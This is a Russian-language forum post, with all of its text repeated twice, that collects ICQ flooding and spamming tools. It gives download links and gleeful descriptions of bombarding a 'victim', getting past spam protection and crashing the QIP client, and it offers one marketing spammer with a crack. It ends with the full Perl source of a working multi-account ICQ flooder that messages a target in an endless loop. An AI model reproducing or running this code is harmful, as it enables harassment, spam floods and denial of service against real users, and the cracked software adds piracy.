Alexandr II
16.11.2008, 05:57
Всем привет, решил собрать флудеры и спамеры в одной теме... в принципе чтоб не искать каждую по всем темам.. я предлагаю их выкладывать сюда.. выкладывать, обсуждать и задавать вопросы ;)
программы не новые.. и думаю многие вам знакомы... но они ещё работают. :)
Заливал на два файлообменика (DepositFiles, WebFile)
За каждую выложеную вами программу\скрипт буду ставить по +++ ессно за рабочую программу\скрипт :)
-------------------------------===-------------------------------
ICQFlooder by l-l00k
Программа служит для флуда icq номера недруга, работает без проксей, больше 70 номеров лучше не загружать, иначе когда все номера станут онлайн, будут сильные тормоза, номера должны быть в формате uin;pas
Добавлено:
Сделано 2 режима флуд атаки:
All - режим в котором раньше работал флудер, то есть шлет по сообщению от каждого активного номера, затем отдыхает таймаут, потом опять шлет
One - режим, в котором флудер шлет 1 сообщение, ждет таймаут, шлет еще 1 сообщений и т.д
Время теперь указывается в милисекундах
Добавлена возможность обхода защиты от спама, достаточно поставить галочку на "Spam protection" и указать ответ на защитный вопрос, затем нажать на "Send", каждый из номерков обойдет защиту и после этого уже пойдет флуд
Флудер теперь определяет номера с неправильными паролями(BAD)
Исправлено:
Исправлено ошибка, которая возникала при загрузки из файла
Теперь при вылете номерков в оффлайн программа сообщает об этом
Исправлены мелкие недочеты
Автор (l-l00k)
Скачать:
DepositFiles (http://depositfiles.com/files/x6a7eo2rj)
WebFile (http://webfile.ru/3354756)
-------------------------------===-------------------------------
ICQ flooder FBK3.0 private
успешно грузит до 1000 номеров
отображает что пишут на номера флуда (обычно там "Аааа! перестаньте!...")
показывает сколько сообщений точно получит жертва
отсеивает сдохшие потоки
показывает сколько сообщений в секунду получает жертва
регулируемая скороссть загрузки номеров и скорость отпрвки сообщений
отправляет текстовое сообщение
отправляет шум(случайный набор байтов) указанной длины
отправляет по строчке из текстового файла
хорошор мучает пользователей QIP, ес грузануть более сотни номеров и выставить интервал отправки 2000
Написан с нуля на Visual Basic
50 номеров для флуда в комплекте(по желанию)
QIP валит!
Автор (karas)
Скачать:
DepositFiles (http://depositfiles.com/files/vof91e4sl)
WebFile (http://webfile.ru/2393893)
-------------------------------===-------------------------------
[Perl] Fl00d icq by C!klodoL
Флудер icq, реализованный на Perle.
Автор (C!klodoL)
Скачать:
DepositFiles (http://depositfiles.com/files/8s8ssrs16)
WebFile (http://webfile.ru/2393896)
-------------------------------===-------------------------------
ICQ flooder 0.6 Private
[Возможности]
Флудер ICQ интернет пейджеров....
Работает шоколадно.....
Возможно поставить время перерыва между сообщениями...
Возможность выбора сообщений - авторизация, простые сообщения и сообщения вида "Вас добавили" !!!
Авторы (lamer & Legion™)
Скачать:
DepositFiles (http://depositfiles.com/files/vg22rvp6l)
WebFile (http://webfile.ru/2393909)
-------------------------------===-------------------------------
.B. Flooder version 0.2 (beta)
Возможности:
Messege type:
Сообщение;
Авторизация;
Вас добавили;
В Авторизации отказано;
Files:
Загрузка из *.txt файлов:
uin;pass
text
Счётчик:
Отосланных сообщений;
Принятых сообщений;
Загруженных номеров;
Трей:
Сворачивание в трей.
Connect options:
Настройки подключения.
Flood options:
Connect pause;
Send pause;
Super flood;
Автор (BarT)
Скачать:
DepositFiles (http://depositfiles.com/files/u0cmhsv3b)
WebFile (http://webfile.ru/2393929)
-------------------------------===-------------------------------
ICQMultiThreadCLSender
Программа, для многопоточной рассылки по контакт-листам. (указывается список из номеров).
Скачать:
DepositFiles (http://depositfiles.com/files/a9lfq208u)
WebFile (http://webfile.ru/2393951)
-------------------------------===-------------------------------
IMCaster E-Marketer Enterprise 10.* + Crack
великолепный продукт, позволяющий вести поиск пользователей ICQ находящихся online и Offline рассылать объявления, предложения посетить Ваш сайт и т.п.Рассылка идёт с нескольких заложенных номеров и идёт гораздо быстрее, чем рассылка по email. Рассылка oколо 1000 сообщений за 10 минут
Скачать:
DepositFiles (http://depositfiles.com/files/dpmc61mel)
WebFile (http://webfile.ru/2394423)
-------------------------------===-------------------------------
IMtale 4.1.2
Представляет из себя программу для рассылки сообщений по номерам icq. Программа работает на самом последнем протоколе icq. Отличительная особенность программы - простота в использовании и максимальная автоматизация рутинных задач рассылки по номерам icq. Программа сочетает в себе простоту и оптимальность. Вам не нужно ломать голову по поводу того, как можно больше найти пользователей, какие дополнительные параметры поиска указывать, а какие нет, как избежать различных серверных лимитов на отправку и поиск. Интеллектуальный алгоритм программы сам все предусматривает. Программа поддерживает русский и английский языки.
скачать
Автор (Godz)
Скачать:
DepositFiles (http://depositfiles.com/files/ra0o0eitq)
WebFile (http://webfile.ru/2393983)
-------------------------------===-------------------------------
IMtale new
Новая версия IMtale...
Скачать:
DepositFiles (http://depositfiles.com/files/u8l6hn98b)
RapidShare (http://www.rapidshare.ru/926109)
-------------------------------===-------------------------------
OSCAR Flooder
Поддерживает:
Отправку сообщений на...
Один номер
Список
Диапазон номеров
Типы сообщений:
Обычное
Запрос авторизации
Отказ авторизации
Одобрение авторизации
url сообщение
"Вы добавленны"
Скачать:
DepositFiles (http://depositfiles.com/files/4l6fubk91)
WebFile (http://webfile.ru/2393966)
-------------------------------===-------------------------------
PHP flooder by Isis v2.6
Вот требования этого флудера:
Для того чтобы нафлудить:
PHP версия должна быть не ниже 5.*
Также обязательное присутствие Socket's
Проверьте стоит ли у вас на хостинге нужная пхп версия и разрешены ли сокеты!!!
Для этого надо посмотреть на самый верх страницы
Cоздайте файл - uins.txt , в содержании которого должны находиться уины и пароли.
Файл должен быть такого формата: uin;pass (номер и через точку с запятой - пароль)
автор Isis
Скачать:
WebFile (http://webfile.ru/2498433)
-------------------------------===-------------------------------
Flisis-flooder.v2.8.1.with-proxy
Тоже самое, что и выше, но только с проксями. Сам не юзайл, поэтому большая просьба - кто заюзает этот флудер с проксями, пусть отпишеться о результатах работы.
автор Isis
Скачать:
RapidShare (http://rapidshare.com/files/28951623/Flisis-flooder.v2.8.1.with-proxy.rar)
-------------------------------===-------------------------------
Kyle Katarn Flooder
Удобный и простой флудер/спамер, не требующий заливки на хост!
К сожалению, не может похвастаться тысячами сообщений в секунду, но потрепать нервы зафлуженному или устроить спам-рассылку по диапазону номеров позволит.
Скачать:
DepositFiles (http://depositfiles.com/files/3uwuuc6e8)
RapidShare (http://www.rapidshare.ru/926296)
-------------------------------===-------------------------------
PERL ICQ Flooder
Perl скрипт для флуда ICQ. Довольно мощный флудер, написан на perl, пробивает qip c enable spam Guard. Прикручен GUI, поэтому необходимо проинсталлить
cmd > ppm install tk
Рядом со скриптом должен лежать uins.txt
#!/usr/bin/perl
use threads;
use threads::shared;
use Socket;
use Tk;
my($main,$Uin,$Chem,$Time,$File);
$main=MainWindow->new(-title => 'FGui_v0.1');
$main->resizable( 1, 0 );
$main->Label(-text => 'Target:')->pack;
$Uin=$main->Entry(-width => 9)->pack;
$main->Label(-text => 'Message:')->pack;
$Chem=$main->Entry(-width => 9)->pack;
$main->Label(-text => 'Timeout (ms):')->pack;
$Time=$main->Entry(-width => 9)->pack;
$main->Button(-text => 'Fl00d',
-command => \&go)->pack(-side => 'top');
$main->Label(-text => 'flabber 2008')->pack;
$main->Label(-text => 'original by C!klodoL')->pack;
system("cls");
MainLoop;
sub go {
my $targetUin = $Uin->get;
my $timer = $Time->get;
my $message = $Chem->get;
my ($host,$port) = ('login.icq.com', 5190);
my @uins : shared;
open(FILE, '<uins.txt');
@uins = <FILE>;
close(FILE);
chomp(@uins);
my $threads = scalar @uins; #количество потоков = количеству асек в файле
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 1 } #задержка перед подключением уинов
for(1..$threads) { $thread[$_]->join; }
sub flood {
my ($uin,$password) = split(/;/,shift(@uins));
my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
"\x00\x02".int2bytes(length($password)).
substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x 53\x7A\x95\x7C",0,length($password)).
"\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x 00\x16\x00\x02\x01\x0A\x00".
"\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x 19\x00\x02\x00\x00\x00\x1A".
"\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x 00\x0F\x00\x02\x65\x6E\x00".
"\x0E\x00\x02\x75\x73";
my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname(' tcp'));
connect(SOCKET,sockaddr_in($port,inet_aton($host)) );
my $response;
sysread(SOCKET,$response,10);
syswrite(SOCKET,$FLAP.$SNAC);
sysread(SOCKET,$response,65535);
close(SOCKET);
if($response=~/MISMATCH_PASSWD/) { return }
my ($BOS_Host, $BOS_Port, $Cookie);
if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
$Cookie = parsCookie($response);
print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"
} else { return }
$SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
$FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname(' tcp'));
connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BO S_Host)));
sysread(SOCKET,$response,10);
syswrite(SOCKET,$FLAP.$SNAC);
sysread(SOCKET,$response,65535);
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x 00\x03\x01\x10\x02\x8A\x00\x02".
"\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x 02\x8A\x00\x15".
"\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x 02\x8A\x00\x06".
"\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x 02\x8A\x00\x0A".
"\x00\x01\x01\x10\x02\x8A";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
syswrite(SOCKET,$FLAP.$SNAC);
for(;;) {
$SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\x EF\x52\xEA\x92\xD3\x3F\x00\x02".
pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).
"\x00\x00".
"\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x 4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".
"\x00\x0A\x00\x02\x00\x01\x00\x0F".
"\x00\x00\x27\x11". #хз
int2bytes(length($message)+62). #61 + длина текста
"\x1B\x00\x08".("\x00"x19).
"\x03\x00\x00\x00".
"\x00\x02\x00\x0E\x00\x02".("\x00"x13).
"\x01\x00\x00\x00\x00".
"\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
syswrite(SOCKET,$FLAP.$SNAC);
sleep ($timer/60); #ЗАДЕРЖКА МЕЖДУ СООБЩЕНИЯМИ
print "$uin send message\n"
}
}
sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое
sub parsCookie { #парсер куки
my $cookie = shift;
my $i++;
for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
return substr($cookie,4+$i,256)
}
BEGIN { #счётчик номера пакета
my $seqNum = int(rand(65535));
sub seqNum {
$seqNum++;
$seqNum = 0 if $seqNum > 65535;
return int2bytes($seqNum)
}
}
}
взято с icqmag.net
программы не новые.. и думаю многие вам знакомы... но они ещё работают. :)
Заливал на два файлообменика (DepositFiles, WebFile)
За каждую выложеную вами программу\скрипт буду ставить по +++ ессно за рабочую программу\скрипт :)
-------------------------------===-------------------------------
ICQFlooder by l-l00k
Программа служит для флуда icq номера недруга, работает без проксей, больше 70 номеров лучше не загружать, иначе когда все номера станут онлайн, будут сильные тормоза, номера должны быть в формате uin;pas
Добавлено:
Сделано 2 режима флуд атаки:
All - режим в котором раньше работал флудер, то есть шлет по сообщению от каждого активного номера, затем отдыхает таймаут, потом опять шлет
One - режим, в котором флудер шлет 1 сообщение, ждет таймаут, шлет еще 1 сообщений и т.д
Время теперь указывается в милисекундах
Добавлена возможность обхода защиты от спама, достаточно поставить галочку на "Spam protection" и указать ответ на защитный вопрос, затем нажать на "Send", каждый из номерков обойдет защиту и после этого уже пойдет флуд
Флудер теперь определяет номера с неправильными паролями(BAD)
Исправлено:
Исправлено ошибка, которая возникала при загрузки из файла
Теперь при вылете номерков в оффлайн программа сообщает об этом
Исправлены мелкие недочеты
Автор (l-l00k)
Скачать:
DepositFiles (http://depositfiles.com/files/x6a7eo2rj)
WebFile (http://webfile.ru/3354756)
-------------------------------===-------------------------------
ICQ flooder FBK3.0 private
успешно грузит до 1000 номеров
отображает что пишут на номера флуда (обычно там "Аааа! перестаньте!...")
показывает сколько сообщений точно получит жертва
отсеивает сдохшие потоки
показывает сколько сообщений в секунду получает жертва
регулируемая скороссть загрузки номеров и скорость отпрвки сообщений
отправляет текстовое сообщение
отправляет шум(случайный набор байтов) указанной длины
отправляет по строчке из текстового файла
хорошор мучает пользователей QIP, ес грузануть более сотни номеров и выставить интервал отправки 2000
Написан с нуля на Visual Basic
50 номеров для флуда в комплекте(по желанию)
QIP валит!
Автор (karas)
Скачать:
DepositFiles (http://depositfiles.com/files/vof91e4sl)
WebFile (http://webfile.ru/2393893)
-------------------------------===-------------------------------
[Perl] Fl00d icq by C!klodoL
Флудер icq, реализованный на Perle.
Автор (C!klodoL)
Скачать:
DepositFiles (http://depositfiles.com/files/8s8ssrs16)
WebFile (http://webfile.ru/2393896)
-------------------------------===-------------------------------
ICQ flooder 0.6 Private
[Возможности]
Флудер ICQ интернет пейджеров....
Работает шоколадно.....
Возможно поставить время перерыва между сообщениями...
Возможность выбора сообщений - авторизация, простые сообщения и сообщения вида "Вас добавили" !!!
Авторы (lamer & Legion™)
Скачать:
DepositFiles (http://depositfiles.com/files/vg22rvp6l)
WebFile (http://webfile.ru/2393909)
-------------------------------===-------------------------------
.B. Flooder version 0.2 (beta)
Возможности:
Messege type:
Сообщение;
Авторизация;
Вас добавили;
В Авторизации отказано;
Files:
Загрузка из *.txt файлов:
uin;pass
text
Счётчик:
Отосланных сообщений;
Принятых сообщений;
Загруженных номеров;
Трей:
Сворачивание в трей.
Connect options:
Настройки подключения.
Flood options:
Connect pause;
Send pause;
Super flood;
Автор (BarT)
Скачать:
DepositFiles (http://depositfiles.com/files/u0cmhsv3b)
WebFile (http://webfile.ru/2393929)
-------------------------------===-------------------------------
ICQMultiThreadCLSender
Программа, для многопоточной рассылки по контакт-листам. (указывается список из номеров).
Скачать:
DepositFiles (http://depositfiles.com/files/a9lfq208u)
WebFile (http://webfile.ru/2393951)
-------------------------------===-------------------------------
IMCaster E-Marketer Enterprise 10.* + Crack
великолепный продукт, позволяющий вести поиск пользователей ICQ находящихся online и Offline рассылать объявления, предложения посетить Ваш сайт и т.п.Рассылка идёт с нескольких заложенных номеров и идёт гораздо быстрее, чем рассылка по email. Рассылка oколо 1000 сообщений за 10 минут
Скачать:
DepositFiles (http://depositfiles.com/files/dpmc61mel)
WebFile (http://webfile.ru/2394423)
-------------------------------===-------------------------------
IMtale 4.1.2
Представляет из себя программу для рассылки сообщений по номерам icq. Программа работает на самом последнем протоколе icq. Отличительная особенность программы - простота в использовании и максимальная автоматизация рутинных задач рассылки по номерам icq. Программа сочетает в себе простоту и оптимальность. Вам не нужно ломать голову по поводу того, как можно больше найти пользователей, какие дополнительные параметры поиска указывать, а какие нет, как избежать различных серверных лимитов на отправку и поиск. Интеллектуальный алгоритм программы сам все предусматривает. Программа поддерживает русский и английский языки.
скачать
Автор (Godz)
Скачать:
DepositFiles (http://depositfiles.com/files/ra0o0eitq)
WebFile (http://webfile.ru/2393983)
-------------------------------===-------------------------------
IMtale new
Новая версия IMtale...
Скачать:
DepositFiles (http://depositfiles.com/files/u8l6hn98b)
RapidShare (http://www.rapidshare.ru/926109)
-------------------------------===-------------------------------
OSCAR Flooder
Поддерживает:
Отправку сообщений на...
Один номер
Список
Диапазон номеров
Типы сообщений:
Обычное
Запрос авторизации
Отказ авторизации
Одобрение авторизации
url сообщение
"Вы добавленны"
Скачать:
DepositFiles (http://depositfiles.com/files/4l6fubk91)
WebFile (http://webfile.ru/2393966)
-------------------------------===-------------------------------
PHP flooder by Isis v2.6
Вот требования этого флудера:
Для того чтобы нафлудить:
PHP версия должна быть не ниже 5.*
Также обязательное присутствие Socket's
Проверьте стоит ли у вас на хостинге нужная пхп версия и разрешены ли сокеты!!!
Для этого надо посмотреть на самый верх страницы
Cоздайте файл - uins.txt , в содержании которого должны находиться уины и пароли.
Файл должен быть такого формата: uin;pass (номер и через точку с запятой - пароль)
автор Isis
Скачать:
WebFile (http://webfile.ru/2498433)
-------------------------------===-------------------------------
Flisis-flooder.v2.8.1.with-proxy
Тоже самое, что и выше, но только с проксями. Сам не юзайл, поэтому большая просьба - кто заюзает этот флудер с проксями, пусть отпишеться о результатах работы.
автор Isis
Скачать:
RapidShare (http://rapidshare.com/files/28951623/Flisis-flooder.v2.8.1.with-proxy.rar)
-------------------------------===-------------------------------
Kyle Katarn Flooder
Удобный и простой флудер/спамер, не требующий заливки на хост!
К сожалению, не может похвастаться тысячами сообщений в секунду, но потрепать нервы зафлуженному или устроить спам-рассылку по диапазону номеров позволит.
Скачать:
DepositFiles (http://depositfiles.com/files/3uwuuc6e8)
RapidShare (http://www.rapidshare.ru/926296)
-------------------------------===-------------------------------
PERL ICQ Flooder
Perl скрипт для флуда ICQ. Довольно мощный флудер, написан на perl, пробивает qip c enable spam Guard. Прикручен GUI, поэтому необходимо проинсталлить
cmd > ppm install tk
Рядом со скриптом должен лежать uins.txt
#!/usr/bin/perl
use threads;
use threads::shared;
use Socket;
use Tk;
my($main,$Uin,$Chem,$Time,$File);
$main=MainWindow->new(-title => 'FGui_v0.1');
$main->resizable( 1, 0 );
$main->Label(-text => 'Target:')->pack;
$Uin=$main->Entry(-width => 9)->pack;
$main->Label(-text => 'Message:')->pack;
$Chem=$main->Entry(-width => 9)->pack;
$main->Label(-text => 'Timeout (ms):')->pack;
$Time=$main->Entry(-width => 9)->pack;
$main->Button(-text => 'Fl00d',
-command => \&go)->pack(-side => 'top');
$main->Label(-text => 'flabber 2008')->pack;
$main->Label(-text => 'original by C!klodoL')->pack;
system("cls");
MainLoop;
sub go {
my $targetUin = $Uin->get;
my $timer = $Time->get;
my $message = $Chem->get;
my ($host,$port) = ('login.icq.com', 5190);
my @uins : shared;
open(FILE, '<uins.txt');
@uins = <FILE>;
close(FILE);
chomp(@uins);
my $threads = scalar @uins; #количество потоков = количеству асек в файле
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 1 } #задержка перед подключением уинов
for(1..$threads) { $thread[$_]->join; }
sub flood {
my ($uin,$password) = split(/;/,shift(@uins));
my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
"\x00\x02".int2bytes(length($password)).
substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x 53\x7A\x95\x7C",0,length($password)).
"\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x 00\x16\x00\x02\x01\x0A\x00".
"\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x 19\x00\x02\x00\x00\x00\x1A".
"\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x 00\x0F\x00\x02\x65\x6E\x00".
"\x0E\x00\x02\x75\x73";
my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname(' tcp'));
connect(SOCKET,sockaddr_in($port,inet_aton($host)) );
my $response;
sysread(SOCKET,$response,10);
syswrite(SOCKET,$FLAP.$SNAC);
sysread(SOCKET,$response,65535);
close(SOCKET);
if($response=~/MISMATCH_PASSWD/) { return }
my ($BOS_Host, $BOS_Port, $Cookie);
if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
$Cookie = parsCookie($response);
print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"
} else { return }
$SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
$FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname(' tcp'));
connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BO S_Host)));
sysread(SOCKET,$response,10);
syswrite(SOCKET,$FLAP.$SNAC);
sysread(SOCKET,$response,65535);
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x 00\x03\x01\x10\x02\x8A\x00\x02".
"\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x 02\x8A\x00\x15".
"\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x 02\x8A\x00\x06".
"\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x 02\x8A\x00\x0A".
"\x00\x01\x01\x10\x02\x8A";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
syswrite(SOCKET,$FLAP.$SNAC);
for(;;) {
$SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\x EF\x52\xEA\x92\xD3\x3F\x00\x02".
pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).
"\x00\x00".
"\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x 4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".
"\x00\x0A\x00\x02\x00\x01\x00\x0F".
"\x00\x00\x27\x11". #хз
int2bytes(length($message)+62). #61 + длина текста
"\x1B\x00\x08".("\x00"x19).
"\x03\x00\x00\x00".
"\x00\x02\x00\x0E\x00\x02".("\x00"x13).
"\x01\x00\x00\x00\x00".
"\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
syswrite(SOCKET,$FLAP.$SNAC);
sleep ($timer/60); #ЗАДЕРЖКА МЕЖДУ СООБЩЕНИЯМИ
print "$uin send message\n"
}
}
sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое
sub parsCookie { #парсер куки
my $cookie = shift;
my $i++;
for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
return substr($cookie,4+$i,256)
}
BEGIN { #счётчик номера пакета
my $seqNum = int(rand(65535));
sub seqNum {
$seqNum++;
$seqNum = 0 if $seqNum > 65535;
return int2bytes($seqNum)
}
}
}
взято с icqmag.net